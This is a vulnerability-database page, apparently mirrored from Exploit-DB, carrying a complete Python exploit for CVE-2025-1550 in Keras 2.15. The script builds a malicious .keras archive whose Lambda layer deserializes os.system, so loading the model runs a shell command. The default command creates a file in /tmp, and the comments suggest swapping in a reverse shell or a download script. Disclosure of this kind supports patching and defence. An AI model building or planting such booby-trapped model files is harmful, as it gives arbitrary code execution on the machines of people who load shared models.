Lucene search
K

Keras 2.15 - Remote Code Execution (RCE)

🗓️ 16 Jul 2025 00:00:00Reported by Mohammed Idrees BanyamerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 317 Views

Keras 2.15 Remote Code Execution exploit via malicious .keras file triggers system command execution.

Related
Code
#!/usr/bin/env python3
# Exploit Title: Keras 2.15 - Remote Code Execution (RCE)
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-07-09
# Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15
# CVE: CVE-2025-1550
# Type: Remote Code Execution (RCE)
# Platform: Python / Machine Learning (Keras)
# Author Country: Jordan
# Attack Vector: Malicious .keras file (client-side code execution via deserialization)
# Description:
# This exploit abuses insecure deserialization in Keras model loading. By embedding
# a malicious "function" object inside a .keras file (or config.json), an attacker
# can execute arbitrary system commands as soon as the model is loaded using 
# `keras.models.load_model()` or `model_from_json()`.
#
# This PoC generates a .keras file which, when loaded, triggers a reverse shell or command.
#  Use only in safe, sandboxed environments!

#
# Steps of exploitation:
# 1. The attacker creates a fake Keras model using a specially crafted config.json.
# 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call.
# 3. When the victim loads the model using `load_model()`, the malicious function is executed.
# 4. Result: Arbitrary Code Execution under the user running the Python process.

# Affected Versions:
# - Keras <= 2.15
# - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch)
#

# Usage:
# $ python3 exploit_cve_2025_1550.py
# [*] Loads the malicious model
# [✓] Executes the payload (e.g., creates a file in /tmp)
#

#
# Options:
# - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras)
# - You may change this to: reverse shell, download script, etc.

# Example:
# $ python3 exploit_cve_2025_1550.py
# [+] Created malicious model: malicious_model.keras
# [*] Loading malicious model to trigger exploit...
# [✓] Model loaded. If vulnerable, payload should be executed.


import os
import json
from zipfile import ZipFile
import tempfile
import shutil

from tensorflow.keras.models import load_model


PAYLOAD = "touch /tmp/pwned_by_keras"

def create_malicious_config():
    return {
        "class_name": "Functional",
        "config": {
            "name": "pwned_model",
            "layers": [
                {
                    "class_name": "Lambda",
                    "config": {
                        "name": "evil_lambda",
                        "function": {
                            "class_name": "function",
                            "config": {
                                "module": "os",
                                "function_name": "system",
                                "registered_name": None
                            }
                        },
                        "arguments": [PAYLOAD]
                    }
                }
            ],
            "input_layers": [["evil_lambda", 0, 0]],
            "output_layers": [["evil_lambda", 0, 0]]
        }
    }

def build_malicious_keras(output_file="malicious_model.keras"):
    tmpdir = tempfile.mkdtemp()
    try:
        config_path = os.path.join(tmpdir, "config.json")
        with open(config_path, "w") as f:
            json.dump(create_malicious_config(), f)

        metadata_path = os.path.join(tmpdir, "metadata.json")
        with open(metadata_path, "w") as f:
            json.dump({"keras_version": "2.15.0"}, f)

        weights_path = os.path.join(tmpdir, "model.weights.h5")
        with open(weights_path, "wb") as f:
            f.write(b"\x89HDF\r\n\x1a\n")  # توقيع HDF5

        with ZipFile(output_file, "w") as archive:
            archive.write(config_path, arcname="config.json")
            archive.write(metadata_path, arcname="metadata.json")
            archive.write(weights_path, arcname="model.weights.h5")

        print(f"[+] Created malicious model: {output_file}")
    finally:
        shutil.rmtree(tmpdir)


def trigger_exploit(model_path):
    print("[*] Loading malicious model to trigger exploit...")
    load_model(model_path)
    print("[✓] Model loaded. If vulnerable, payload should be executed.")



if __name__ == "__main__":
    keras_file = "malicious_model.keras"
    build_malicious_keras(keras_file)
    trigger_exploit(keras_file)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation